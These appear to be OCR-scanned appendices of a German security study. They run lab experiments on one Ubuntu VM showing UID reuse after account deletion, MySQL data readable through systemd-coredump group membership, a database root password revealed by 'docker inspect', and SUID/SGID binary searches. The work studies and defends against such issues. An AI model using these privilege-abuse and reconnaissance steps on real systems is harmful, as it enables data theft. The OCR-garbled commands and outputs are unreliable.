2. Nach hinzufuegen eines Kontos wird freie UID/GID ab 1000 verwendet

3

. Noch vorhandene Dateien eines Kontos werden mit UID/GID uebernommen,

# UNTERSUCHUNG
# Neues Konto erstellen und Inhalt der passwd ausgeben

ubuntu@vm: /home/ubuntu$ sudo adduser hannes && cat /etc/passwd
ubuntu:x:1000:1000:Ubuntu, ,, : /home/ubuntu:/bin/bash
hannes:x:1001:1001:Hannes, ,, : /home/hannes:/bin/bash

[...]

# Login mit Umgebungsvariablen, Shell und Wechsel in Home (-, -1, —--login)
ubuntu@vm: /home/ubuntu$ su - hannes

# Testdateien anlegen, anzeigen und ausloggen

hannes@vm: /home/hannes$ touch hallowelt.txt && 1ls -la && exit
-rw—-rw-r—— 1 hannes hannes 0 Jul 20 13:19 hallowelt.txt
[...]

# Konto loeschen und Inhalt der passwd ausgeben, um Entfernung zu pruefen
ubuntu@vm: /home/ubuntu$ sudo deluser hannes && cat /etc/passwd
ubuntu:x:1000:1000:Ubuntu, ,, : /home/ubuntu:/bin/bash

[...]

# Dateiberechtigiungen anzeigen (nur noch UID/GID, statt Konto-/Gruppenname)
ubuntu@vm: /home/ubuntu$ ls -la /home/hannes

—rW--—-—---- 1 1001 1001 54 Jul 20 13:20 .bash_history

-rw-rw-r-—- 1 1001 1001 0 Jul 20 13:19 hallowelt.txt

[...]

# Dateien ohne zugewiesenmen Konto suchen
ubuntu@vm: /home/ubuntu$ find / -nouser
/home/hannes/

/home/hannes/.bash_history
/home/hannes/hallowelt.txt

[...]
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# Neues Konto erstellen und Inhalt der passwd ausgeben
ubuntu@vm: /home/ubuntu$ sudo adduser amelie && cat /etc/passwd
ubuntu:x:1000:1000:Ubuntu, ,, : /home/ubuntu:/bin/bash
amelie:x:1001:1001:Amelie,,,:/home/amelie:/bin/bash

[...]

# Login mit Umgebungsvariablen, Shell und Wechsel in Home (-, -1, --login)
ubuntu@vm: /home/ubuntu$ su - amelie

# Testdateien anzeigen (rekursiv bet /home/ absteigend)) und ausloggen
amelie@vm:/home/amelie$ 1ls -laR /home/ && exit
/home/amelie: [...]

/home/hannes:

—rW--—-—---- 1 amelie amelie 54 Jul 20 13:20 .bash_history
-rw-rw-r—-— 1 amelie amelie 0 Jul 20 13:19 hallowelt.txt
[...]

/home/ubuntu: [...]

# Konto loeschen und neues Konto erstellen und Auflistung von Dateien
ubuntu@vm: /home/ubuntu$ sudo deluser amelie && adduser sophia && ls -1 /home/
drwxr-xr-x 2 sophia sophia 4096 Jul 20 13:21 amelie

drwxr-xr-x 2 sophia sophia 4096 Jul 20 13:20 hannes

drwxr-xr-x 2 sophia sophia 4096 Jul 20 13:28 sophia

drwxr-xr-x 49 ubuntu ubuntu 4096 Jul 15 14:47 ubuntu

# Konten loeschen und aufraeumen

ubuntu@vm: ~$ sudo deluser --remove-home sophia
ubuntu@vm:~$ sudo rm -r /home/amelie
ubuntu@vm: ~$ sudo rm -r /home/hannes

# ERGEBNISSE _ _ ..
- Konto hannes hatte die UID/GID 1001 erhalten

- Konto hannes hatte mit UID/GID 1001 gearbeitet und Dateien erstellt

- Konto hannes wurde ohne --remove-home entfernt (Dateien verbleiben)

- Konto amelie hatte die UID/GID 1001 erhalten, die frei wurde

- Konto amelie hatte alle Dateien mit UID/GID 1001 zugewiesen bekommen

- Konto amelie wurde ohne --remove-home entfernt (Dateien verbleiben)

- Konto sophia analog zu hannes und amelie

- Konto sophia hat Dateien von Konto hannes und amelie zugewiesen bekommen

# DISKUSSION
- Mit Loeschen eines Kontos wird dessen UID/GID freigegeben (Standard)
- Mit Erstellen eines Kontos wird freie UID/GID >= 1000 zugewiesen

- Dateiberechtigungen bleiben dabei unveraendert

# ZUSAMMENFASSUNG

- Berechtigungen sind nicht mit Kontoname verknuepft, sondern mit UID/GID.
- Erhalten einer UID/GID uebernimmt Dateien im Dateisystem mit dessen IDs.
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Anhang G Untersuchung: Dateisysteme

Aufl. G.1 Untersuchung: Dateisysteme [AuﬂT 30l [y, ]

£33

SZENARIO (fiktsiv) ________________ 25.07.2021, 13:00 - 17:00
Angreifende haben Zugriff auf System erhalten (beliebiger Vektor)
Angreifende moechten Zugriff auf Daten in Containern erhalten

Angreifende versuchen, dies ueber Gruppenmitgliedschaften zu realisieren

H*

HYPOTHESE

. Hinzufuegen eines Kontos zur Gruppe systemd-coredump erlaubt Zugriffe

e

# UNTERSUCHUNG _ _ __ _ _
# Konten und Gruppen ueberpruefen

ubuntu@vm:~$ cat /etc/passwd && cat /etc/group

# Kontoname:Kennwort:UID:GID:Kommentar:Hetmatverzeichnis:Login—-Kommando
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu, ,, : /home/ubuntu:/bin/bash

ool

# Gruppenname:Kennwort:GID:Mitgliedschaften

docker:x:997 :ubuntu

systemd-coredump:x:999:

ubuntu:x:1000:

[...]

# Dateten auflisten
ubuntu@vm: ~/docker$ 1ls -1 --all --recursive --no-group --human-readable

insgesamt 12K

drwxr-xr-x 3 root 4,0K Jun 25 13:48 .
drwxr-xr-x 25 ubuntu 4,0K Aug 24 15:02 ..
drwxr-xr-x 3 root 4,0K Jun 5 12:42 mysql

./mysql:

insgesamt 12K

drwxr-xr-x 3 root 4,0K Jun 5 12:42 .
drwxr-xr-x 3 root 4,0K Jun 25 13:48 ..

drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38 data

./mysql/data:
insgesamt 182M
drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38

drwxr-xr-x 3 root 4,0K Jun 5 12:42 ..

“rW-r———-- 1 systemd-coredump 56 Jun 5 12:43 auto.cnf
—IW-r—-—-—-- 1 systemd-coredump 3,0M Jun 5 12:44 binlog.000001
[...]

-rw-r———-- 1 systemd-coredump 112 Jun 25 13:51 binlog.index
“rW-————-- 1 systemd-coredump 1,7K Jun 5 12:43 ca-key.pem

-rw-r——-r-— 1 systemd-coredump 1,1K Jun 5 12:43 ca.pem
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-rw-r—-r-— 1 systemd-coredump 1,1K Jun 5 12:43 client-cert.pem

“rW-————-- 1 systemd-coredump 1,7K Jun 5 12:43 client-key.pem
drwxr-x--- 2 systemd-coredump 4,0K Jun 8 12:44 hello_world
-rw-r-—--- 1 systemd-coredump 192K Jun 25 13:53 '#ib_16384_0.dblwr'
-rw-r———-- 1 systemd-coredump 8,2M Jun 5 12:42 '#ib_16384_1.dblwr'
-rW-r———-- 1 systemd-coredump 3,5K Jun 25 14:38 ib_buffer_pool
“rW-r———-- 1 systemd-coredump 12M Jun 25 14:38 ibdatal
—IW-r——-—-—- 1 systemd-coredump 48M Jun 25 13:53 ib_logfileO
—rW-r——--- 1 systemd-coredump 48M Jun 5 12:42 ib_logfilel

drwxr-x--- 2 systemd-coredump 4,0K Jun 25 14:38
drwxr-x--- 2 systemd-coredump 4,0K Jun 5 12:43 mysql

#innodb_temp'

“rW-r———-- 1 systemd-coredump 30M Jun 25 13:51 mysql.ibd
drwxr-x--- 2 systemd-coredump 4,0K Jun 5 12:43 performance_schema
“rW-——————- 1 systemd-coredump 1,7K Jun 5 12:43 private_key.pem
-rw-r—-r—-—- 1 systemd-coredump 452 Jun 5 12:43 public_key.pem
-rw-r—-r-—- 1 systemd-coredump 1,1K Jun 5 12:43 server-cert.pem
“rW-————-- 1 systemd-coredump 1,7K Jun 5 12:43 server-key.pem
drwxr-x--- 2 systemd-coredump 4,0K Jun 5 12:43 sys

—IW-r————- 1 systemd-coredump 16M Jun 25 13:53 wundo_001
-rWw-r———-- 1 systemd-coredump 16M Jun 25 13:53 undo_002

ls: './mysql/data/hello_world' nicht moeglich: Keine Berechtigung # DB/
ls: './mysql/data/#innodb_temp' nicht moeglich: Keine Berechtigung

1s: './mysql/data/mysql' nicht moeglich: Keine Berechtigung

1s: './mysql/data/performance_schema' nicht moeglich: Keine Berechtigung
ls: './mysql/data/sys' nicht moeglich: Keine Berechtigung

# Start fiktiver Angriff
# Konto erstellen und zu Gruppe hinzufuegen

ubuntu@vm: ~$ sudo adduser vektor
ubuntu@vm: ~$ sudo usermod -aG systemd-coredump vektor

# Konten und Gruppen ueberpruefen

ubuntu@vm:~$ cat /etc/passwd && cat /etc/group
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu, ,, : /home/ubuntu:/bin/bash
vektor:x:1001:1001:Vektor,,, : /home/vektor:/bin/bash
[...]

docker:x:997 :ubuntu

systemd-coredump:x:999:vektor

ubuntu:x:1000:

vektor:x:1001:

[...]

# Login mit Umgebungsvariablen, Shell und Wechsel in Home (-, -1, --login)
ubuntu@vm:~$ su - vektor

# Wechsel in Verzeichnis (optional)
vektor@vm:~$ cd /home/ubuntu/docker/

# Dateten auflisten
vektor@vm: /home/ubuntu/docker$ 1ls -1laRGh
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insgesamt 12K
drwxr-xr-x 3 root
drwxr-xr-x 25 ubuntu

4,0K Jun 25 13:48 .
4,0K Aug 24 15:06 ..

drwxr-xr-x 3 root 4,0K Jun 5 12:42 mysql

./mysql:

insgesamt 12K

drwxr-xr-x 3 root 4,0K Jun 5 12:42 .

drwxr-xr-x 3 root 4,0K Jun 25 13:48 ..

drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38 data

./mysql/data:

insgesamt 182M

drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38

drwxr-xr-x 3 root 4,0K Jun 5 12:42

“rW-r———-- 1 systemd-coredump 56 Jun 5 12:43 auto.cnf
—IW-r—-—-—-- 1 systemd-coredump 3,0M Jun 5 12:44 binlog.000001
[...]

drwxr-x--- 2 systemd-coredump 4,0K Jun 8 12:44 hello_world
“rW-r——--- 1 systemd-coredump 192K Jun 25 13:53 '#ib_16384_0.dblwr'
“rW-r——-—-- 1 systemd-coredump 8,2M Jun 5 12:42 '#ib_16384_1.dblwr'
-IW-r——-—-—- 1 systemd-coredump 3,5K Jun 25 14:38 ib_buffer_pool
—IW-r————- 1 systemd-coredump 12M Jun 25 14:38 ibdatal

-rw-r———-- 1 systemd-coredump 48M Jun 25 13:53 1ib_logfileO
“rW-r———-- 1 systemd-coredump 48M Jun 5 12:42 ib_logfilel
drwxr-x--- 2 systemd-coredump 4,0K Jun 25 14:38 '#innodb_temp'
drwxr-x--—- 2 systemd-coredump 4,0K Jun 5 12:43 mysql

“IW-r—-—--- 1 systemd-coredump 30M Jun 25 13:51 mysql.ibd
drwxr-x--- 2 systemd-coredump 4,0K Jun 5 12:43 performance_schema
“rW-————-- 1 systemd-coredump 1,7K Jun 5 12:43 private_key.pem
-rw-r——-r-— 1 systemd-coredump 452 Jun 5 12:43 public_key.pem
-rw-r--r—— 1 systemd-coredump 1,1K Jun b5 12:43 server-cert.pem
—rW-—-—---- 1 systemd-coredump 1,7K Jun 5 12:43 server-key.pem
drwxr-x--- 2 systemd-coredump 4,0K Jun 5 12:43 sys

“rW-r———-- 1 systemd-coredump 16M Jun 25 13:53 wundo_001
“rW-r———-- 1 systemd-coredump 16M Jun 25 13:53 wundo_002
./mysql/data/hello_world: # DB ungeschuetzt
insgesamt 168K

drwxr-x--- 2 systemd-coredump 4,0K Jun 8 12:44 .

drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38 ..

—IW-r——--- 1 systemd-coredump 112K Jun 8 12:44 hello.ibd # DB!
-rw-r———-- 1 systemd-coredump 112K Jun 8 12:44 world.ibd # DB!
# " lesen fuer Gruppe systemd-coredump moeglich!

./mysql/data/#innodb_temp:
insgesamt 8,0K

drwxr-x--- 2 systemd-coredump 4,0K Jun 25 14:38 .
drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38 ..
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./mysql/data/mysql:
insgesamt 40K
drwxr-x--- 2 systemd-coredump 4,0K Jun 5 12:43 .

drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38 ..

—IW-r————-— 1 systemd-coredump 5,9K Jun 5 12:43 general_log_213.sdi
-rW-r———-- 1 systemd-coredump 35 Jun 5 12:43 general_log.CSM
“rW-r———-- 1 systemd-coredump 0O Jun 5 12:43 general_log.CSV
“IrW-r———-- 1 systemd-coredump 13K Jun 5 12:43 slow_log_214.sdi
—IW-r——-——- 1 systemd-coredump 35 Jun 5 12:43 slow_log.CSM
-rw-r———-- 1 systemd-coredump 0O Jun 5 12:43 slow_log.CSV

./mysql/data/performance_schema:
insgesamt 1,6M

drwxr-x--- 2 systemd-coredump 4,0K Jun 5 12:43 .

drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38 ..

“rW-r———-- 1 systemd-coredump 4,4K Jun 5 12:43 accounts_145.sdi
“rW-r———-- 1 systemd-coredump 13K Jun 5 12:43 binary_log_trans_189.sdi
-rw-r-—--- 1 systemd-coredump 3,9K Jun 5 12:43 cond_instances_82.sdi
[...]

./mysql/data/sys:

insgesamt 88K
drwxr-x--— 2 systemd-coredump 4,0K Jun 5 12:43 .

drwxr-xr-x 7 systemd-coredump 4,0K Jun 25 14:38 ..

-rw-r———-- 1 systemd-coredump 112K Jun 5 12:43 sys_config.ibd

#

Konto abmelden, loeschen und aufraeumen

vektor@vm:~$ exit

ubuntu@vm: ~$ sudo deluser --remove-home vektor

#

ERGEBNISSE
Gruppenmitgliedschaft in systemd-coredump erlaubt ungewollte Zugriffe

Schuetzenswerte Daten erbeutet (z. B. ./mysql/data/hello_world/)
Zugriff nicht auf alle Dateien (z. B. ./mysql/data/server-key.pem)

DISKUSSION
Privilegien ausbauen: Welche Vektoren erlauben Manipulation von Gruppen?
z. B.: SUID-/SGID-Angriffe
Sicherheitsluecken im Host-Betriebssystem
Containerausbruch koennte Zugriff auf Host erlauben
Mafinahmen durchfuehren: Welcher Schaden droht?
z. B.: Schuetzenswerde Daten koennten abflieflen

Host und Infrastruktur koennten kompromittiert werden

ZUSAMMENFASSUNG

Schutz des Host-Betriebssystem ist wesentlich fuer die Containersicherheit
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Anhang H Untersuchung:
Umgebungsvariablen

Aufl. H.1 Untersuchung: Umgebungsvariablen [22] [Auﬂ.T3.10] [VTZ]

1 # SZENARIO ___ _ _ 24.09.2021, 19:00 - 21:00
2 - Angreifende moechten Informationen aus Umgebungsvariablen gewinnen
3 - Angreifende greifen den Container "my-rdbs" der hiesigen Testumgebung an

5  # VORAUSSETZUNGEN _ _ _

6 — Lokale Zugriffsrechte auf den Docker daemon socket
7 - Container wurde instanziiert (docker run [...]) mit z. B. -e-Parameter

9  # HYPOTHESE

10 1. Angreifende koennen den Befehl docker inspect ausfuehren

11 2. Angreifende koennen damit Informationen gewinnen ueber z. B.:
12 Portangaben (PortBindings)

13 Datenbankkennwoerter (MYSQL_ROOT_PASSWORD)

14
15 # UNTERSUCHUNG _ _

16 # Container instanziieren, wenn noch nicht geschehen (muss nicht laufen)
17 ubuntu@vm:~$ docker run \

18 —--name my-rdbs \

19 -p 3305:3306 \

20 -v /home/ubuntu/docker/mysql/data:/var/lib/mysql \
21 -e MYSQL_ROOT_PASSWORD="m31nNeuesPa22wOrd" \

22 mysql:latest

23
24 # Contatiner untersuchen
25  ubuntu@vm:~$ docker inspect my-rdbs

26 [

27 o

28 "Id": "520dbb47c2ab9ell1c6adb51965e542b7144£41063a5556033deab9e73ca20£29",
29 "Created": "2021-06-25T11:48:54.443405047Z",
30 "Path": "docker-entrypoint.sh",

31 "Args": [

32 "mysqld"

33 1,

34 "State": {

35 "Status": "exited",

36 "Running": false,

37 "Paused": false,

38 "Restarting": false,

39 "OOMKilled": false,

40 "Dead": false,

41 "Pid": O,

42 "ExitCode": O,

43 "Exrror": ""
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"StartedAt": "2021-09-08T09:47:28.8766285817Z",

"FinishedAt": "2021-09-12T09:28:50.986042957Z"
T
"Image": "sha256:cOcdc95609f1fc1daf2c7cae05ebd6adcf7b5c614b4f424949554a240J
— 12e3c09",
"ResolvConfPath": "/var/lib/docker/containers/520dbb47c2ab9ellc6adb51965e5 |
— 42b7144f41063a5556033deab9e73ca20f29/resolv.conf",
"HostnamePath": "/var/lib/docker/containers/520dbb47c2ab9ellc6adb51965e542
— b7144f41063a5556033deab9e73ca20f29/hostname",
"HostsPath": "/var/lib/docker/containers/520dbb47c2ab9el1c6adb51965e542b71 |
< 44f41063a5556033deab9e73ca20f29/hosts",
"LogPath": "/var/lib/docker/containers/520dbb47c2ab9ellc6adb51965e542b7144 |
> f41063a5556033deab9e73ca20f29/520dbb4702ab9e11c6adb51965e542b7144f4106J
— 3abb56033deab9e73ca20f29-json.log",
"Name": "/my-rdbs",
"RestartCount": O,
"Driver": "overlay2",
"Platform": "linux",
"MountLabel": "",
"ProcessLabel": "",
"AppArmorProfile": "docker-default",
"ExecIDs": null,
"HostConfig": {

"Binds": [
"/home/ubuntu/docker/mysql/data:/var/1lib/mysql"
g

"ContainerIDFile": "",

"LogConfig": {
"Type": "json-file",
"Config": {}
X,
"NetworkMode": "default",
"PortBindings": {

"3306/tcp": [
{
"HostIp": "",
"HostPort": "3305"
}
]
Iy
"RestartPolicy": {
"Name": "no",
"MaximumRetryCount": 0O
Iy
"AutoRemove": false,
"VolumeDriver": "",

"VolumesFrom": null,
"CapAdd": null,
"CapDrop": null,
"CgroupnsMode": "host",
"Dns": [],
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H Untersuchung

: Umgebungsvariablen

"DnsOptions": [],
"DnsSearch": [],
"ExtraHosts": null,
"GroupAdd": null,
"IpcMode": "private",
"Cgroup": "",

"Links": null,
"OomScoreAdj": O,
"PidMode": "",
"Privileged": false,
"PublishAllPorts": false,
"ReadonlyRootfs": false,

"SecurityOpt": null,

"UTSMode": "",
"UsernsMode": "",
"ShmSize": 67108864,
"Runtime": "runc",
"ConsoleSize": [

0,

0

Jo

"Isolation": "",

"CpuShares": O,
"Memory": O,
"NanoCpus": O,
"CgroupParent": "",
"BlkioWeight": O,
"BlkioWeightDevice": [],
"BlkioDeviceReadBps": null,
"BlkioDeviceWriteBps": null,
"BlkioDeviceReadIOps": null,
"BlkioDeviceWriteIOps": null,
"CpuPeriod": O,

"CpuQuota": O,
"CpuRealtimePeriod": O,
"CpuRealtimeRuntime": O,

"CpusetCpus": "",
"CpusetMems": "",
"Devices": [],

"DeviceCgroupRules": null,
"DeviceRequests": null,
"KernelMemory": O,
"KernelMemoryTCP": O,
"MemoryReservation": O,
"MemorySwap": O,
"MemorySwappiness": null,
"OomKillDisable": false,
"PidsLimit": null,
"Ulimits": null,
"CpuCount": O,
"CpuPercent": O,
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H Untersuchung: Umgebungsvariablen

"I0MaximumIOps": O,
"I0MaximumBandwidth": O,
"MaskedPaths": [
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",

"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"

s

"ReadonlyPaths": [
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"

]
},

"GraphDriver": {

"Data":

{

"LowerDir": "/var/lib/docker/overlay2/d56ee7128baeda86ae71511341dd |

—

L

—

2a509d961bd47a38e6d5825f7126da976c36-init/diff:/Var/lib/dockerj
/OVerlay2/OC5d5d6e107C3304b36b256f3117729d7b81cc6366927af2f975J
1ca63725672b/diff:/var/lib/docker/overlay2/02b4460a13c£5bf8c9d |
00c2126c24bdeba4a9e254ef6297a78698074774c12d9/diff:/Var/lib/dOJ
cker/overlayQ/ec49e206f2cea9a9a0626479a37c6e4ea79a4110ac49f016J
5e01131cb03ac495/diff:/var/lib/docker/overlay2/114cb46916ca2e5 |
5787766b77f4e1555334d46da890293bcC8baC0087C59424c/diff:/Var/lij
b/docker/overlay2/370608873e730234d08c44a01f67df50949b7a05e£86 |
156157c927e2e4ade66c7/diff: /var/lib/docker/overlay2/£651£44776b |
457f83270a7a101b57c2370591fe46328Caaa9d46b89adc2fbd7f/diff:/Vaj
r/lib/docker/overlay2/569cbb6cal02befb2138af045d2c38a96faeleeb |
b3748e3326c75£71252e4836/diff:/var/lib/docker/overlay2/f4caf75
95b4331618f9d9b2984a9469481723d7d351f7950ad37bec06331f060/diffJ
:/var/1lib/docker/overlay2/487828bb4699eab8a865558fe9b24b1870ch |
fd8878d79a001chd8a3bO4b24dO/diff:/var/lib/docker/overlay2/527J
a587c0a1e0ee0d787c14a6db8affa5c3b64a7dcab69f68277f1499a589090/J
diff:/var/lib/docker/overlay2/1a04£563c53b17026a497£24f15e236¢ |
3fafbfa60541c7b537c6a4d3feb8cc2c/diff:/var/lib/docker/overlay?2
/9bf1d659ea42d01b5048fbeffa4851bb13178180fb55a46ab710433868288J
d95/diff",

"MergedDir": "/var/lib/docker/overlay2/d56ee71285aeda86ae71511341d

—

d2a5c9d961bd47a38e6d5825f7126da976c36/merged" ,

"UpperDir": "/var/lib/docker/overlay2/d56ee71285aeda86ae71511341dd |

—

2a5c9d961bd47a38e6d5825f7126da976c36/diff",

"WorkDir": "/var/lib/docker/overlay2/d56ee7128baeda86ae71511341dd2 |

—

abc9d961bd47a38e6d5825£7126da976c36/work"
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s
"Name": "overlay2"
Fe
"Mounts": [
{
"Type": "bind",
"Source": "/home/ubuntu/docker/mysql/data",
"Destination": "/var/lib/mysql",
"Mode": "",
"RW": true,
"Propagation": "rprivate"
}
i
"Config": {
"Hostname": "520dbb47c2ab",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": true,
"AttachStderr": true,
"ExposedPorts": {
"3306/tcp": {2},
"33060/tcp": {}
o
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=m31nNeuesPa22wOrd",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
P
"Cmd": [
"mysqld"
g
"Image": "mysql:latest",
"Volumes": {
"/var/lib/mysql": {}
g
"WorkingDir": "",
"Entrypoint": [
"docker-entrypoint.sh"
1,
"OnBuild": null,
"Labels": {}
i

"NetworkSettings": {

IIBridgell 9 nn ,
"SandboxID":

— "9cd9aldddef6b73369f0a97fb91927cf4365e10a67e136e1728c88c6c4d74332",

H-102



H Untersuchung: Umgebungsvariablen

219 "HairpinMode": false,

220 "LinkLocalIPv6Address": "",

221 "LinkLocalIPv6PrefixLen": O,

222 "Ports": {3},

223 "SandboxKey": "/var/run/docker/netns/9cd9aldddef6",

224 "SecondaryIPAddresses": null,

225 "SecondaryIPv6Addresses": null,

226 "EndpointID": "",

227 "Gateway": "",

228 "GlobalIPv6Address": "",

229 "GlobalIPv6PrefixLen": O,

230 "IPAddress": "",

231 "IPPrefixLen": O,

232 "IPv6Gateway": "",

233 "MacAddress": ""

234 "Networks": {

235 "bridge": {

236 "IPAMConfig": null,

237 "Links": null,

238 "Aliases": null,

239 "NetworkID": "95247a73£517£43d337586735debdc0ead693037ee7b4553 |
— acb210673269a81c",

240 "EndpointID": "",

241 "Gateway": "",

242 "IPAddress": "",

243 "IPPrefixLen": O,

244 "IPv6Gateway": "",

245 "GlobalIPv6Address": "",

246 "GlobalIPv6PrefixLen": O,

247 "MacAddress": "",

248 "DriverOpts": null

249 }

250 +

251 }

252}

253 |

254

255  # Unprivilegiertes Konto erstellen

256 ubuntu@vm:~$ sudo adduser vektor

257

258  # Unprivilegiertes Konto anmelden, das sich nicht in Gruppe docker befindet
259  ubuntu@vm:~$ su - vektor

261  # Container untersuchen

262 vektor@vm:~$ docker inspect my-rdbs

263 []

264 Got permission denied while trying to connect to the Docker daemon socket
— at unix:///var/run/docker.sock: Get
< "http://%h2Fvar)2Frunj2Fdocker.sock/vl.24/containers/my-rdbs/json":
— dial unix /var/run/docker.sock: connect: permission denied

265
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H Untersuchung: Umgebungsvariablen

# Unprivilegiertes Konto abmelden
vektor@vm: ~$ exit

# Unprivilegiertes Konto zur Gruppe docker hinzufuegen

ubuntu@vm:~$ sudo usermod -aG docker vektor

# Unprivilegiertes Konto anmelden, das sich nun in Gruppe docker befindet

ubuntu@vm:~$ su - vektor

# Container untersuchen

vektor@vm:~$ docker inspect my-rdbs

L
{

"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin: /usr/bin:/sbin:/bin",

[...]
"PortBindings": {
"3306/tcp": [
{
"HostIp": "",
"HostPort": "3305"
}
]
Fe
[...]
"Config": {
"Hostname": "520dbb47c2ab",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": true,
"AttachStderr": true,
"ExposedPorts": {
"3306/tcp": {2},
"33060/tcp": {3}
g
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"MYSQL_ROOT_PASSWORD=m31nNeuesPa22wOrd",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
e
[...]
Fe
[...]
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# Container untersuchen (Ausgabe erfolgt auch fuer alle anderen Container)
vektor@vm:~$ docker inspect [bridge, hello-world:latest, hopeful _wright, host,
— my-rdbs, mysql:latest, mysql:latest, none, stupefied_meitner,

— ubuntu:latest]

# Unprivilegiertes Konto abmelden, loeschen und aufraeumen
vektor@vm:~$ exit
ubuntu@vm:~$ sudo deluser --remove-home vektor

# ERGEBNISSE
1. vektor (ohne Grp. docker) darf zwar docker inspect ausfuehren,
erhaelt jedoch keine Infos, da keine Berechtigungen vorliegen,
zum Docker daemon socket zu verbinden
2. ubuntu und vektor (Grp. docker) erhalten mit docker inspect Infos
"PortBindings": { "3306/tcp": [{ "HostIp": "", "HostPort": "3305" }1},
"MYSQL_ROOT_PASSWORD=m31nNeuesPa22wOrd",
3. Es konnten alle lokal vorliegende Container untersucht werden und somit

die Umgebungsvariablen ausgelesen werden (Voraussetzung: Gruppe docker)

# DISKUSSION

Es sollten keine Umgebungsvariablen genutzt werden,
um geheime Informationen an den Container zu uebergeben.

# ZUSAMMENFASSUNG

Lokale Konten in Gruppe docker koennen alle Umgebungsvariablen auslesen.
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Anhang | Untersuchung: Sonderrechte

Aufl. 1.1 Untersuchung: Sonderrechte

# SUID-/SGID-BITS SUCHEN

H O R R R OB R

=L symbolische Links verfolgen

[Aqu.T3.11] [Aqu.T3.12] [Aqu.T3.13] [VTZ]

07.08.2021, 14:00 - 14:15

Optionen von find (Suche nach Dateien in einer Verzeichnishierarchie):

-zdev  keine Verzeichnisse auf anderen Dateisystemen durchsuchen
-perm  Berechtigungsbits (-4000: SUID, -2000 SGID)
-0 logischer Operator "Oder" (Disjunktion)

ubuntu@vm: ~$ sudo find -L / -xdev -perm -4000 -o -perm -2000

/usr/bin/umount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/crontab

find: Dateisystemschleife erkannt: /usr/bin/X11 ist ein Teil der gleichen

< Schleife wie /usr/bin.
/usr/bin/mount
/usr/bin/su

/var/mail

/var/local
/var/spool/mail
/var/log/journal

/var/log/journal/c21c744b9d314305887e9d839860463c
/var/lib/docker/overlay2/9bf1deb9[...]68288d95/diff/bin/mount
/var/lib/docker/overlay2/9bf1deb9[...]168288d95/diff/bin/su

/etc/ppp/peers
/etc/alternatives/write
/etc/chatscripts
/bin/bsd-write
/bin/chage
/bin/umount
/bin/passwd
/bin/sg
/bin/chsh
/bin/sudo
/bin/crontab

find: Dateisystemschleife erkannt: /bin/X11 ist ein Teil der gleichen Schleife

— wie /bin.
/bin/mount
/bin/ssh-agent
/bin/su
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| Untersuchung: Sonderrechte

# SUID-/SGID-BITS SUCHEN UND XARGS
# Sonderrechte suchen und mit zargs in langer Auflistung anzeigen

07.08.2021, 14:15 - 14:30

# Optionen von find (Suche nach Dateien in einer Verzeichnishierarchie):

#

# =IL;

# -zdev
# -perm
# -0

#

# =P

#

# =0

#

symbolische Links verfolgen

keine Verzeichnisse auf anderen Dateisystemen durchsuchen
Berechtigungsbits (-4000: SUID, -2000 SGID)
logtischer Operator "Oder" (Disjunktion)

Befehl nicht ausfuehren, wenn keine Nicht-Leerzeichen enthalten

langes Listenformat verwenden

ubuntu@vm: ~$ sudo find -L
find: Dateisystemschleife
< Schleife wie /usr/bin.
find: Dateisystemschleife
— wie /bin.

—“IrWwXr-sr-x
~ITWXr-sr-X
—“IrWSr—-Xr-X
—“TWXTr—-Sr-X
—rWwXr-sr-x
-IrWSr-Xr-Xx
-IrWSr-Xr-Xx
lrwxrwxrwx
—“TWXr—-Sr-X
—rWSr—-Xr-Xx
-IrWSr-Xr-Xx
~ITWXr-sr-Xx
—“IrWSr—-Xr-X
—“TWSTr—XIr-X
—IrWwXr-sr-x
-IrWSr-Xr-Xx
-ITWSr—-Xr-X
—“IrWSr—-Xr-X
—“TWSTr—XIr-X
—rwsSr—-xXr-x
-ITWSr-Xr-Xx
[...]

“IrwSr—Xr-X

root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root
root

T e S S o N T e e e T e T e T T T T S S S S S =

root

1 root

tty
shadow
root
crontab
shadow
root
root
root
ssh
root
root
shadow
root
root
crontab
root
root
root
root
root
root

root

Optionen von ls (Verzeichnisinhalte auflisten):

Optionen von zargs (Befehlszeilen von der Standardeingabe erstellen):

/ -xdev -perm -4000 -o -perm -2000 | xargs -r 1ls -1
erkannt: /usr/bin/X11 ist ein Teil der gleichen

erkannt: /bin/X11 ist ein Teil der gleichen Schleife

14488
84512
53040
43720
31312
55528
68208
6
350504
67816
166056
84512
85064
53040
43720
55528
44784
68208
67816
166056
39144

51280

Mar
Mai
Mai
Feb
Mai
Jul
Mai
Mai
Mar
Jul
Jan
Mai
Mai
Mai
Feb
Jul
Mai
Mai
Jul
Jan
Jul

Jan

30
28
28
13
28
21
28
28

9
21
19
28
28
28
13
21
28
28
21
19
21

10

2020
2020
2020
2020
2020
2020
2020
2020
15:17
2020
2021
2020
2020
